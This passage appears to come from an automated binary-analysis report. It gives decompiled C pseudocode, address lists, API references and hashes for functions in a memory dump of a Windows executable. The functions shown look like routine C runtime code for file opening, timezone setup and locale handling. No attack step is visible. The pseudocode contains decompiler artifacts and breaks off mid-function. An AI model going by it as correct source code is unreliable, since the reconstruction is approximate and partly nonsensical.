									_t124 = _v48 | 0x00000040;
								}
								_v5 = _t124;
								L004BCB1A(_t197,  *_t190, _t252);
								_t242 = _v5 | 0x00000001;
								_v5 = _t242;
								_v48 = _t242;
								 *( *((intOrPtr*)(0x4ee718 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) = _t242;
								_t203 =  *_t190;
								_t205 = (_t203 & 0x0000003f) * 0x30;
								__eflags = _a16 & 0x00000002;
								 *((char*)( *((intOrPtr*)(0x4ee718 + (_t203 >> 6) * 4)) + 0x29 + (_t203 & 0x0000003f) * 0x30)) = 0;
								if((_a16 & 0x00000002) == 0) {
									L20:
									_v6 = 0;
									_push( &_v6);
									_push(_a16);
									_t278 = _t277 - 0x18;
									_t206 = 6;
									_push( *_t190);
									memcpy(_t278,  &_v48, _t206 << 2);
									_t134 = L004C1AD2(_t190,  &_v48 + _t206 + _t206,  &_v48);
									_t280 = _t278 + 0x30;
									__eflags = _t134;
									if(__eflags == 0) {
										 *((char*)( *((intOrPtr*)(0x4ee718 + ( *_t190 >> 6) * 4)) + 0x29 + ( *_t190 & 0x0000003f) * 0x30)) = _v6;
										 *( *((intOrPtr*)(0x4ee718 + ( *_t190 >> 6) * 4)) + 0x2d + ( *_t190 & 0x0000003f) * 0x30) =  *( *((intOrPtr*)(0x4ee718 + ( *_t190 >> 6) * 4)) + 0x2d + ( *_t190 & 0x0000003f) * 0x30) ^ (_a16 >> 0x00000010 ^  *( *((intOrPtr*)(0x4ee718 + ( *_t190 >> 6) * 4)) + 0x2d + ( *_t190 & 0x0000003f) * 0x30)) & 0x00000001;
										__eflags = _v5 & 0x00000048;
										if((_v5 & 0x00000048) == 0) {
											__eflags = _a16 & 0x00000008;
											if((_a16 & 0x00000008) != 0) {
												_t225 =  *_t190;
												_t227 = (_t225 & 0x0000003f) * 0x30;
												_t164 =  *((intOrPtr*)(0x4ee718 + (_t225 >> 6) * 4));
												_t87 = _t164 + _t227 + 0x28;
												 *_t87 =  *(_t164 + _t227 + 0x28) | 0x00000020;
												__eflags =  *_t87;
											}
										}
										_t266 = _v44;
										__eflags = (_t266 & 0xc0000000) - 0xc0000000;
										if((_t266 & 0xc0000000) != 0xc0000000) {
											L31:
											__eflags = 0;
											return 0;
										} else {
											__eflags = _a16 & 0x00000001;
											if((_a16 & 0x00000001) == 0) {
												goto L31;
											}
											 *0x4f00ac(_v12);
											_v44 = _t266 & 0x7fffffff;
											_push(6);
											_push( &_v24);
											_push(_a12);
											memcpy(_t280 - 0x18,  &_v48, 0xc0000000 << 2);
											_t245 = E004C1D1F();
											__eflags = _t245 - 0xffffffff;
											if(_t245 != 0xffffffff) {
												_t217 =  *_t190;
												_t219 = (_t217 & 0x0000003f) * 0x30;
												__eflags = _t219;
												 *((intOrPtr*)( *((intOrPtr*)(0x4ee718 + (_t217 >> 6) * 4)) + _t219 + 0x18)) = _t245;
												goto L31;
											}
											E004A9638( *0x4f0018());
											 *( *((intOrPtr*)(0x4ee718 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) =  *( *((intOrPtr*)(0x4ee718 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) & 0x000000fe;
											L004BCCE3( *_t190);
											L10:
											goto L2;
										}
									}
									_t269 = _t134;
									goto L22;
								} else {
									_t269 = L004C1F30(_t205,  *_t190);
									__eflags = _t269;
									if(__eflags != 0) {
										L22:
										E004B70C8(__eflags,  *_t190);
										return _t269;
									}
									goto L20;
								}
							}
							_t270 =  *0x4f0018();
							E004A9638(_t270);
							 *( *((intOrPtr*)(0x4ee718 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) =  *( *((intOrPtr*)(0x4ee718 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) & 0x000000fe;
							 *0x4f00ac(_t252);
							__eflags = _t270;
							if(_t270 == 0) {
								 *((intOrPtr*)(E004A966E())) = 0xd;
							}
							goto L2;
						}
						_t234 = _v44;
						__eflags = (_t234 & 0xc0000000) - 0xc0000000;
						if((_t234 & 0xc0000000) != 0xc0000000) {
							L9:
							_t235 =  *_t190;
							_t237 = (_t235 & 0x0000003f) * 0x30;
							_t180 =  *((intOrPtr*)(0x4ee718 + (_t235 >> 6) * 4));
							_t33 = _t180 + _t237 + 0x28;
							 *_t33 =  *(_t180 + _t237 + 0x28) & 0x000000fe;
							__eflags =  *_t33;
							E004A9638( *0x4f0018());
							goto L10;
						}
						__eflags = _a16 & 0x00000001;
						if((_a16 & 0x00000001) == 0) {
							goto L9;
						}
						_t284 = _t277 - 0x18;
						_v44 = _t234 & 0x7fffffff;
						_t239 = 6;
						_push( &_v24);
						_push(_a12);
						memcpy(_t284,  &_v48, _t239 << 2);
						_t197 = 0;
						_t252 = E004C1D1F();
						_t277 = _t284 + 0x2c;
						_v12 = _t252;
						__eflags = _t252 - 0xffffffff;
						if(_t252 != 0xffffffff) {
							goto L11;
						}
						goto L9;
					} else {
						 *(E004A965B()) =  *_t186 & 0x00000000;
						 *_t190 = _t263;
						 *((intOrPtr*)(E004A966E())) = 0x18;
						goto L2;
					}
				} else {
					 *(E004A965B()) =  *_t188 & 0x00000000;
					 *_a8 = _t263;
					L2:
					return  *((intOrPtr*)(E004A966E()));
				}
			}

0x004c2074
0x004c2078
0x004c2079
0x004c2079
0x004c2079
0x004c207b
0x004c2081
0x004c209c
0x004c20a1
0x004c20a4
0x004c20a6
0x004c20a8
0x004c20c7
0x004c20ce
0x004c20d5
0x004c20d8
0x004c20e4
0x004c20e7
0x004c20ef
0x004c20f0
0x004c20f3
0x004c20f3
0x004c20f5
0x004c20fa
0x004c20fc
0x004c20ff
0x004c2107
0x004c210a
0x004c2177
0x004c2178
0x004c217e
0x004c2180
0x004c21c9
0x004c21cc
0x004c21d5
0x004c21d8
0x004c21db
0x004c21dd
0x004c21dd
0x004c21dd
0x004c21ce
0x004c21d1
0x004c21d1
0x004c21e2
0x004c21e5
0x004c21f1
0x004c21f6
0x004c2202
0x004c220c
0x004c2210
0x004c221a
0x004c221d
0x004c2228
0x004c222d
0x004c223d
0x004c2240
0x004c2244
0x004c2245
0x004c224b
0x004c2250
0x004c2253
0x004c2255
0x004c2257
0x004c225c
0x004c225f
0x004c2261
0x004c228b
0x004c22af
0x004c22b3
0x004c22b7
0x004c22b9
0x004c22bd
0x004c22bf
0x004c22c9
0x004c22cc
0x004c22d3
0x004c22d3
0x004c22d3
0x004c22d3
0x004c22bd
0x004c22d8
0x004c22e4
0x004c22e6
0x004c2371
0x004c2371
0x00000000
0x004c22ec
0x004c22ec
0x004c22f0
0x00000000
0x00000000
0x004c22f5
0x004c2307
0x004c230d
0x004c2312
0x004c2313
0x004c2316
0x004c231d
0x004c2322
0x004c2325
0x004c2359
0x004c2363
0x004c2363
0x004c236d
0x00000000
0x004c236d
0x004c232e
0x004c2347
0x004c234e
0x004c2171
0x00000000
0x004c2171
0x004c22e6
0x004c2263
0x00000000
0x004c222f
0x004c2236
0x004c2239
0x004c223b
0x004c2265
0x004c2267
0x00000000
0x004c226d
0x00000000
0x004c223b
0x004c222d
0x004c2188
0x004c218b
0x004c21a6
0x004c21ab
0x004c21b1
0x004c21b3
0x004c21be
0x004c21be
0x00000000
0x004c21b3
0x004c210c
0x004c2113
0x004c2115
0x004c214c
0x004c214c
0x004c2156
0x004c2159
0x004c2160
0x004c2160
0x004c2160
0x004c216c
0x00000000
0x004c216c
0x004c2117
0x004c211b
0x00000000
0x00000000
0x004c211d
0x004c212c
0x004c2131
0x004c2134
0x004c2135
0x004c2138
0x004c2138
0x004c213f
0x004c2141
0x004c2144
0x004c2147
0x004c214a
0x00000000
0x00000000
0x00000000
0x004c20aa
0x004c20af
0x004c20b2
0x004c20b9
0x00000000
0x004c20b9
0x004c2083
0x004c2088
0x004c208e
0x004c2090
0x00000000
0x004c2095

APIs

Part of subcall function 004C1D1F: CreateFileW.KERNEL32(00000000,00000000,?,004C20FA,?,?,00000000,?,004C20FA,00000000,0000000C), ref: 004C1D3C

__dosmaperr.LIBCMT ref: 004C216C
GetFileType.KERNEL32(00000000), ref: 004C2178
__dosmaperr.LIBCMT ref: 004C218B
__dosmaperr.LIBCMT ref: 004C232E

Strings

H, xrefs: 004C22B3

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: d95a3963b6923a39c3ee36a4758d179d0a1a6ae2e2317d8aee999fcc6204156c
Instruction ID: eb7d56441f1e7b20ef5340d7ba0ab152a2973ed329dca8df0a0fa19fdb2e889e
Opcode Fuzzy Hash: d95a3963b6923a39c3ee36a4758d179d0a1a6ae2e2317d8aee999fcc6204156c
Instruction Fuzzy Hash: D3A1393AA041449FDF19DF78D891BAE7BA19F06324F18015EE801DF3A2CBB99D12C759

Uniqueness

Uniqueness Score: -1.00%

Function 004BA1EE, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 171
timeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E004BA1EE(void* __ebx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				char _v20;
				signed int _v56;
				char _v268;
				intOrPtr _v272;
				char _v276;
				char _v312;
				char _v316;
				void* __ebp;
				void* _t36;
				signed int _t38;
				signed int _t42;
				signed int _t50;
				long _t56;
				signed int* _t59;
				intOrPtr _t69;
				void* _t76;
				signed int _t83;
				signed int _t85;
				signed int _t87;
				void* _t91;
				intOrPtr* _t94;
				signed int _t98;
				signed int _t99;
				signed int _t104;
				signed int _t105;
				intOrPtr _t113;
				intOrPtr _t115;

				_t86 = __edi;
				_t94 = L004B99E4();
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_t36 = L004B9A42( &_v8);
				_pop(_t76);
				if(_t36 != 0) {
					L19:
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					L004A5EA4(_t36);
					asm("int3");
					_t104 = _t105;
					_t38 =  *0x4eb018; // 0xf39dfde0
					_v56 = _t38 ^ _t104;
					 *0x4eb464 =  *0x4eb464 | 0xffffffff;
					 *0x4eb458 =  *0x4eb458 | 0xffffffff;
					_push(0);
					_push(_t94);
					_t75 = "TZ";
					_t87 = 0;
					 *0x4eea10 = 0;
					_t42 = E004AC555(__eflags,  &_v316,  &_v312, 0x100, "TZ");
					__eflags = _t42;
					if(_t42 != 0) {
						__eflags = _t42 - 0x22;
						if(_t42 == 0x22) {
							_t99 = E004B3009(_t76, _v272);
							__eflags = _t99;
							if(__eflags != 0) {
								_t50 = E004AC555(__eflags,  &_v276, _t99, _v272, _t75);
								__eflags = _t50;
								if(_t50 == 0) {
									E004B2FCF(0);
									_t87 = _t99;
								} else {
									_push(_t99);
									goto L25;
								}
							} else {
								_push(0);
								L25:
								E004B2FCF();
							}
						}
					} else {
						_t87 =  &_v268;
					}
					asm("sbb esi, esi");
					_t98 =  ~(_t87 -  &_v268) & _t87;
					__eflags = _t87;
					if(_t87 == 0) {
						L33:
						E004BA1EE(_t75, _t87, _t98); // executed
					} else {
						__eflags =  *_t87;
						if( *_t87 == 0) {
							goto L33;
						} else {
							_push(_t87);
							E004BA019(_t75, _t87, _t98);
						}
					}
					E004B2FCF(_t98);
					__eflags = _v12 ^ _t104;
					return L0049CE1D(_v12 ^ _t104);
				} else {
					_t36 = L004B99EA( &_v12);
					_pop(_t76);
					if(_t36 != 0) {
						goto L19;
					} else {
						_t36 = L004B9A16( &_v16);
						_pop(_t76);
						if(_t36 != 0) {
							goto L19;
						} else {
							E004B2FCF( *0x4eea08);
							 *0x4eea08 = 0;
							 *_t105 = 0x4eea18; // executed
							_t56 = GetTimeZoneInformation(??); // executed
							if(_t56 != 0xffffffff) {
								_t83 =  *0x4eea18 * 0x3c;
								_t85 =  *0x4eea6c; // 0x0
								_push(__edi);
								 *0x4eea10 = 1;
								_v8 = _t83;
								_t113 =  *0x4eea5e; // 0xa
								if(_t113 != 0) {
									_v8 = _t83 + _t85 * 0x3c;
								}
								_t115 =  *0x4eeab2; // 0x3
								if(_t115 == 0) {
									L9:
									_v12 = 0;
									_v16 = 0;
								} else {
									_t69 =  *0x4eeac0; // 0xffffffc4
									if(_t69 == 0) {
										goto L9;
									} else {
										_v12 = 1;
										_v16 = (_t69 - _t85) * 0x3c;
									}
								}
								_t91 = E004AE4AF();
								_push( &_v20);
								_push(0);
								_push(0x3f);
								_push( *_t94);
								_push(0xffffffff);
								_push("W. Europe Standard Time");
								_push(0);
								_push(_t91);
								if( *0x4f003c() == 0 || _v20 != 0) {
									 *((char*)( *_t94)) = 0;
								} else {
									 *((char*)( *_t94 + 0x3f)) = 0;
								}
								_push( &_v20);
								_push(0);
								_push(0x3f);
								_push( *((intOrPtr*)(_t94 + 4)));
								_push(0xffffffff);
								_push("W. Europe Daylight Time");
								_push(0);
								_push(_t91);
								if( *0x4f003c() == 0 || _v20 != 0) {
									 *((char*)( *((intOrPtr*)(_t94 + 4)))) = 0;
								} else {
									 *((char*)( *((intOrPtr*)(_t94 + 4)) + 0x3f)) = 0;
								}
							}
							 *(L004B99DE()) = _v8;
							 *(L004B99D2()) = _v12;
							_t59 = L004B99D8();
							 *_t59 = _v16;
							return _t59;
						}
					}
				}
			}

0x004ba1ee
0x004ba1fd
0x004ba204
0x004ba208
0x004ba20b
0x004ba20e
0x004ba213
0x004ba216
0x004ba33e
0x004ba33e
0x004ba33f
0x004ba340
0x004ba341
0x004ba342
0x004ba343
0x004ba348
0x004ba34c
0x004ba354
0x004ba35b
0x004ba35e
0x004ba36b
0x004ba372
0x004ba373
0x004ba375
0x004ba37a
0x004ba389
0x004ba390
0x004ba398
0x004ba39a
0x004ba3a4
0x004ba3a7
0x004ba3b4
0x004ba3b7
0x004ba3b9
0x004ba3d2
0x004ba3da
0x004ba3dc
0x004ba3e2
0x004ba3e7
0x004ba3de
0x004ba3de
0x00000000
0x004ba3de
0x004ba3bb
0x004ba3bb
0x004ba3bc
0x004ba3bc
0x004ba3bc
0x004ba3e9
0x004ba39c
0x004ba39c
0x004ba39c
0x004ba3f6
0x004ba3f8
0x004ba3fa
0x004ba3fc
0x004ba40c
0x004ba40c
0x004ba3fe
0x004ba3fe
0x004ba401
0x00000000
0x004ba403
0x004ba403
0x004ba404
0x004ba409
0x004ba401
0x004ba412
0x004ba41d
0x004ba428
0x004ba21c
0x004ba220
0x004ba225
0x004ba228
0x00000000
0x004ba22e
0x004ba232
0x004ba237
0x004ba23a
0x00000000
0x004ba240
0x004ba246
0x004ba24b
0x004ba251
0x004ba258
0x004ba261
0x004ba267
0x004ba26e
0x004ba274
0x004ba278
0x004ba27e
0x004ba281
0x004ba288
0x004ba28f
0x004ba28f
0x004ba292
0x004ba299
0x004ba2b1
0x004ba2b1
0x004ba2b4
0x004ba29b
0x004ba29b
0x004ba2a2
0x00000000
0x004ba2a4
0x004ba2a6
0x004ba2ac
0x004ba2ac
0x004ba2a2
0x004ba2bc
0x004ba2c1
0x004ba2c2
0x004ba2c3
0x004ba2c5
0x004ba2c7
0x004ba2c9
0x004ba2ce
0x004ba2cf
0x004ba2d8
0x004ba2e8
0x004ba2df
0x004ba2e1
0x004ba2e1
0x004ba2ed
0x004ba2ee
0x004ba2ef
0x004ba2f1
0x004ba2f4
0x004ba2f6
0x004ba2fb
0x004ba2fc
0x004ba306
0x004ba318
0x004ba30d
0x004ba310
0x004ba310
0x004ba306
0x004ba322
0x004ba32c
0x004ba331
0x004ba336
0x004ba33d
0x004ba33d
0x004ba23a
0x004ba228

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,004078B0), ref: 004BA258
_free.LIBCMT ref: 004BA246

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

_free.LIBCMT ref: 004BA412

Strings

W. Europe Daylight Time, xrefs: 004BA2F6
W. Europe Standard Time, xrefs: 004BA2C9

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$FreeHeapInformationTimeZone
String ID: W. Europe Daylight Time$W. Europe Standard Time
API String ID: 3087893232-986674615
Opcode ID: f96e1f1345f5607ad03e7cb585f22dbf5bd1e39733509645ea11963a3bcb89fb
Instruction ID: 04d357e43d8f1236085cb2fae0f105b059e6b35124029796e58893bf4759febd
Opcode Fuzzy Hash: f96e1f1345f5607ad03e7cb585f22dbf5bd1e39733509645ea11963a3bcb89fb
Instruction Fuzzy Hash: 6951F671800259ABCB10EF6A9C859EB77B8EF45310B1046BFE510A7392E7389E518B79

Uniqueness

Uniqueness Score: -1.00%

Function 004B2407, Relevance: 7.7, APIs: 5, Instructions: 187
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E004B2407(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int _v56;
				char _v276;
				short _v278;
				short _v280;
				char _v448;
				signed int _v452;
				signed int _v456;
				short _v458;
				intOrPtr _v460;
				intOrPtr _v464;
				signed int _v468;
				signed int _v472;
				intOrPtr _v508;
				char _v536;
				signed int _v540;
				intOrPtr _v544;
				signed int _v556;
				char _v708;
				signed int _v712;
				signed int _v716;
				short _v718;
				signed int* _v720;
				signed int _v724;
				signed int _v728;
				signed int _v732;
				signed int* _v736;
				signed int _v740;
				signed int _v744;
				signed int _v748;
				signed int _v752;
				char _v820;
				char _v1248;
				char _v1256;
				intOrPtr _v1276;
				signed int _v1292;
				signed int _t239;
				signed int _t241;
				void* _t244;
				signed int _t247;
				signed int _t249;
				signed int _t255;
				signed int _t256;
				signed int _t257;
				signed int _t258;
				signed int _t259;
				signed int _t261;
				signed int _t263;
				void* _t265;
				signed int _t266;
				signed int _t267;
				signed int _t268;
				signed int _t270;
				signed int _t280;
				signed int _t281;
				signed int _t282;
				intOrPtr _t283;
				signed int _t286;
				signed int _t290;
				signed int _t291;
				signed int _t296;
				signed int _t299;
				signed int _t319;
				signed int _t320;
				signed int _t323;
				signed int _t328;
				void* _t330;
				signed int _t332;
				void* _t333;
				intOrPtr _t334;
				signed int _t339;
				signed int _t340;
				intOrPtr* _t343;
				signed int _t357;
				signed int _t359;
				signed int _t361;
				intOrPtr* _t362;
				signed int _t364;
				signed int _t370;
				intOrPtr* _t374;
				intOrPtr* _t377;
				void* _t380;
				intOrPtr* _t381;
				intOrPtr* _t382;
				signed int _t393;
				signed int _t396;
				intOrPtr* _t397;
				signed int _t399;
				signed int* _t403;
				intOrPtr* _t410;
				intOrPtr* _t411;
				intOrPtr _t420;
				signed int _t421;
				short _t422;
				void* _t424;
				signed int _t425;
				signed int _t427;
				intOrPtr _t428;
				signed int _t431;
				intOrPtr _t432;
				signed int _t434;
				signed int _t437;
				intOrPtr _t443;
				signed int _t444;
				signed int _t446;
				signed int _t447;
				signed int _t450;
				signed int _t452;
				signed int _t456;
				signed int* _t457;
				intOrPtr* _t458;
				short _t459;
				void* _t461;
				signed int _t463;
				signed int _t465;
				void* _t467;
				void* _t468;
				void* _t470;
				signed int _t471;
				void* _t472;
				void* _t474;
				signed int _t475;
				void* _t477;
				void* _t479;
				intOrPtr _t491;

				_t420 = __edx;
				_t461 = _t467;
				_t468 = _t467 - 0xc;
				_push(__ebx);
				_push(__esi);
				_v12 = 1;
				_t239 = E004B3009(__ecx, 0x6a6); // executed
				_t357 = _t239;
				_t240 = 0;
				_pop(_t370);
				if(_t357 == 0) {
					L20:
					return _t240;
				} else {
					_push(__edi);
					_t427 = _t357 + 4;
					 *_t427 = 0;
					 *_t357 = 1;
					_t443 = _a4;
					_t4 = _t443 + 0x30; // 0x4b1c06
					_t241 = _t4;
					_push( *_t241);
					_v16 = _t241;
					_push(0x4068a4);
					_push( *0x40675c);
					E004B2346(_t357, _t427, _t443, _t427, 0x351, 3);
					_t470 = _t468 + 0x18;
					_v8 = 0x40675c;
					while(1) {
						L2:
						_t244 = L004BC93B(_t427, 0x351, 0x4068a0);
						_t471 = _t470 + 0xc;
						if(_t244 != 0) {
							break;
						} else {
							_t8 = _v16 + 0x10; // 0x10
							_t410 = _t8;
							_t339 =  *_v16;
							_v16 = _t410;
							_t411 =  *_t410;
							goto L4;
						}
						while(1) {
							L4:
							_t420 =  *_t339;
							if(_t420 !=  *_t411) {
								break;
							}
							if(_t420 == 0) {
								L8:
								_t340 = 0;
							} else {
								_t420 =  *((intOrPtr*)(_t339 + 2));
								if(_t420 !=  *((intOrPtr*)(_t411 + 2))) {
									break;
								} else {
									_t339 = _t339 + 4;
									_t411 = _t411 + 4;
									if(_t420 != 0) {
										continue;
									} else {
										goto L8;
									}
								}
							}
							L10:
							asm("sbb eax, eax");
							_t370 = _v8 + 0xc;
							_v8 = _t370;
							_v12 = _v12 &  !( ~_t340);
							_t343 = _v16;
							_v16 = _t343;
							_push( *_t343);
							_push(0x4068a4);
							_push( *_t370);
							E004B2346(_t357, _t427, _t443, _t427, 0x351, 3);
							_t470 = _t471 + 0x18;
							if(_v8 < 0x40678c) {
								goto L2;
							} else {
								if(_v12 != 0) {
									E004B2FCF(_t357); // executed
									_t31 = _t443 + 0x28; // 0x30ff068b
									_t434 = _t427 | 0xffffffff;
									__eflags =  *_t31;
									if(__eflags != 0) {
										asm("lock xadd [ecx], eax");
										if(__eflags == 0) {
											_t32 = _t443 + 0x28; // 0x30ff068b
											E004B2FCF( *_t32);
										}
									}
									_t33 = _t443 + 0x24; // 0x30ff0c46
									__eflags =  *_t33;
									if( *_t33 != 0) {
										asm("lock xadd [eax], edi");
										__eflags = _t434 == 1;
										if(_t434 == 1) {
											_t34 = _t443 + 0x24; // 0x30ff0c46
											E004B2FCF( *_t34);
										}
									}
									 *(_t443 + 0x24) = 0;
									 *(_t443 + 0x1c) = 0;
									 *(_t443 + 0x28) = 0;
									 *((intOrPtr*)(_t443 + 0x20)) = 0;
									_t39 = _t443 + 0x40; // 0x10468b00
									_t240 =  *_t39;
								} else {
									_t20 = _t443 + 0x28; // 0x30ff068b
									_t437 = _t427 | 0xffffffff;
									_t491 =  *_t20;
									if(_t491 != 0) {
										asm("lock xadd [ecx], eax");
										if(_t491 == 0) {
											_t21 = _t443 + 0x28; // 0x30ff068b
											E004B2FCF( *_t21);
										}
									}
									_t22 = _t443 + 0x24; // 0x30ff0c46
									if( *_t22 != 0) {
										asm("lock xadd [eax], edi");
										if(_t437 == 1) {
											_t23 = _t443 + 0x24; // 0x30ff0c46
											E004B2FCF( *_t23);
										}
									}
									 *(_t443 + 0x24) =  *(_t443 + 0x24) & 0x00000000;
									_t240 = _t357 + 4;
									 *(_t443 + 0x1c) =  *(_t443 + 0x1c) & 0x00000000;
									 *(_t443 + 0x28) = _t357;
									 *((intOrPtr*)(_t443 + 0x20)) = _t240;
								}
								goto L20;
							}
							goto L130;
						}
						asm("sbb eax, eax");
						_t340 = _t339 | 0x00000001;
						__eflags = _t340;
						goto L10;
					}
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					L004A5EA4(0);
					asm("int3");
					_push(_t461);
					_t463 = _t471;
					_t472 = _t471 - 0x1d0;
					_t247 =  *0x4eb018; // 0xf39dfde0
					_v56 = _t247 ^ _t463;
					_t249 = _v40;
					_push(_t357);
					_push(_t443);
					_t444 = _v36;
					_push(_t427);
					_t428 = _v44;
					_v508 = _t428;
					__eflags = _t249;
					if(_t249 == 0) {
						_v456 = 1;
						_v468 = 0;
						_t359 = 0;
						_v452 = 0;
						__eflags = _t444;
						if(__eflags == 0) {
							L79:
							E004B2407(_t359, _t370, _t420, _t428, _t444, __eflags, _t428); // executed
							goto L80;
						} else {
							__eflags =  *_t444 - 0x4c;
							if( *_t444 != 0x4c) {
								L58:
								_push(0);
								_t255 = L004B1FCF(_t359, _t420, _t428, _t444, _t444,  &_v276, 0x83,  &_v448, 0x55);
								_t474 = _t472 + 0x18;
								__eflags = _t255;
								if(_t255 != 0) {
									_t370 = 0;
									__eflags = 0;
									_t76 = _t428 + 0x20; // 0x4b1bf6
									_t421 = _t76;
									_t446 = 0;
									_v452 = _t421;
									do {
										__eflags = _t446;
										if(_t446 == 0) {
											L73:
											_t256 = _v456;
										} else {
											_t374 =  *_t421;
											_t257 =  &_v276;
											while(1) {
												__eflags =  *_t257 -  *_t374;
												_t428 = _v464;
												if( *_t257 !=  *_t374) {
													break;
												}
												__eflags =  *_t257;
												if( *_t257 == 0) {
													L66:
													_t370 = 0;
													_t258 = 0;
												} else {
													_t422 =  *((intOrPtr*)(_t257 + 2));
													__eflags = _t422 -  *((intOrPtr*)(_t374 + 2));
													_v458 = _t422;
													_t421 = _v452;
													if(_t422 !=  *((intOrPtr*)(_t374 + 2))) {
														break;
													} else {
														_t257 = _t257 + 4;
														_t374 = _t374 + 4;
														__eflags = _v458;
														if(_v458 != 0) {
															continue;
														} else {
															goto L66;
														}
													}
												}
												L68:
												__eflags = _t258;
												if(_t258 == 0) {
													_t359 = _t359 + 1;
													__eflags = _t359;
													goto L73;
												} else {
													_t259 =  &_v276;
													_push(_t259);
													_push(_t446);
													_push(_t428);
													L83();
													_t421 = _v452;
													_t474 = _t474 + 0xc;
													__eflags = _t259;
													if(_t259 == 0) {
														_t370 = 0;
														_t256 = 0;
														_v456 = 0;
													} else {
														_t359 = _t359 + 1;
														_t370 = 0;
														goto L73;
													}
												}
												goto L74;
											}
											asm("sbb eax, eax");
											_t258 = _t257 | 0x00000001;
											_t370 = 0;
											__eflags = 0;
											goto L68;
										}
										L74:
										_t446 = _t446 + 1;
										_t421 = _t421 + 0x10;
										_v452 = _t421;
										__eflags = _t446 - 5;
									} while (_t446 <= 5);
									__eflags = _t256;
									if(__eflags != 0) {
										goto L79;
									} else {
										__eflags = _t359;
										goto L77;
									}
								}
								goto L80;
							} else {
								__eflags =  *(_t444 + 2) - 0x43;
								if( *(_t444 + 2) != 0x43) {
									goto L58;
								} else {
									__eflags =  *((short*)(_t444 + 4)) - 0x5f;
									if( *((short*)(_t444 + 4)) != 0x5f) {
										goto L58;
									} else {
										while(1) {
											_t261 = L004BD989(_t444, 0x406898);
											_t361 = _t261;
											_v472 = _t361;
											_pop(_t376);
											__eflags = _t361;
											if(_t361 == 0) {
												break;
											}
											_t263 = _t261 - _t444;
											__eflags = _t263;
											_v456 = _t263 >> 1;
											if(_t263 == 0) {
												break;
											} else {
												_t265 = 0x3b;
												__eflags =  *_t361 - _t265;
												if( *_t361 == _t265) {
													break;
												} else {
													_t431 = _v456;
													_t362 = 0x40675c;
													_v460 = 1;
													do {
														_t266 = L004B2F38( *_t362, _t444, _t431);
														_t472 = _t472 + 0xc;
														__eflags = _t266;
														if(_t266 != 0) {
															goto L45;
														} else {
															_t377 =  *_t362;
															_t420 = _t377 + 2;
															do {
																_t334 =  *_t377;
																_t377 = _t377 + 2;
																__eflags = _t334 - _v468;
															} while (_t334 != _v468);
															_t376 = _t377 - _t420 >> 1;
															__eflags = _t431 - _t377 - _t420 >> 1;
															if(_t431 != _t377 - _t420 >> 1) {
																goto L45;
															}
														}
														break;
														L45:
														_v460 = _v460 + 1;
														_t362 = _t362 + 0xc;
														__eflags = _t362 - 0x40678c;
													} while (_t362 <= 0x40678c);
													_t359 = _v472 + 2;
													_t267 = L004BD939(_t376, _t359, 0x4068a0);
													_t428 = _v464;
													_t447 = _t267;
													_pop(_t380);
													__eflags = _t447;
													if(_t447 != 0) {
														L48:
														__eflags = _v460 - 5;
														if(_v460 > 5) {
															_t268 = _v452;
															goto L54;
														} else {
															_push(_t447);
															_t270 = E004AE171(_t380,  &_v276, 0x83, _t359);
															_t475 = _t472 + 0x10;
															__eflags = _t270;
															if(_t270 != 0) {
																L82:
																_push(0);
																_push(0);
																_push(0);
																_push(0);
																_push(0);
																L004A5EA4(0);
																asm("int3");
																_push(_t463);
																_t465 = _t475;
																_v556 =  *0x4eb018 ^ _t465;
																_push(_t359);
																_t364 = _v540;
																_push(_t447);
																_push(_t428);
																_t432 = _v544;
																_v1292 = _t364;
																_v1276 = E004B361B(_t364, _t380, _t420) + 0x278;
																_push( &_v1256);
																_t280 = L004B1FCF(_t364, _t420, _t432, _v536, _v536,  &_v820, 0x83,  &_v1248, 0x55);
																_t477 = _t475 - 0x2e4 + 0x18;
																__eflags = _t280;
																if(_t280 != 0) {
																	_t450 = _t364 + 2 << 4;
																	__eflags = _t450;
																	_t281 =  &_v280;
																	_v724 = _t450;
																	_t381 =  *((intOrPtr*)(_t450 + _t432));
																	while(1) {
																		_v712 = _v712 & 0x00000000;
																		__eflags =  *_t281 -  *_t381;
																		_t452 = _v724;
																		if( *_t281 !=  *_t381) {
																			break;
																		}
																		__eflags =  *_t281;
																		if( *_t281 == 0) {
																			L91:
																			_t282 = _v712;
																		} else {
																			_t459 =  *((intOrPtr*)(_t281 + 2));
																			__eflags = _t459 -  *((intOrPtr*)(_t381 + 2));
																			_v718 = _t459;
																			_t452 = _v724;
																			if(_t459 !=  *((intOrPtr*)(_t381 + 2))) {
																				break;
																			} else {
																				_t281 = _t281 + 4;
																				_t381 = _t381 + 4;
																				__eflags = _v718;
																				if(_v718 != 0) {
																					continue;
																				} else {
																					goto L91;
																				}
																			}
																		}
																		L93:
																		__eflags = _t282;
																		if(_t282 != 0) {
																			_t382 =  &_v280;
																			_t424 = _t382 + 2;
																			do {
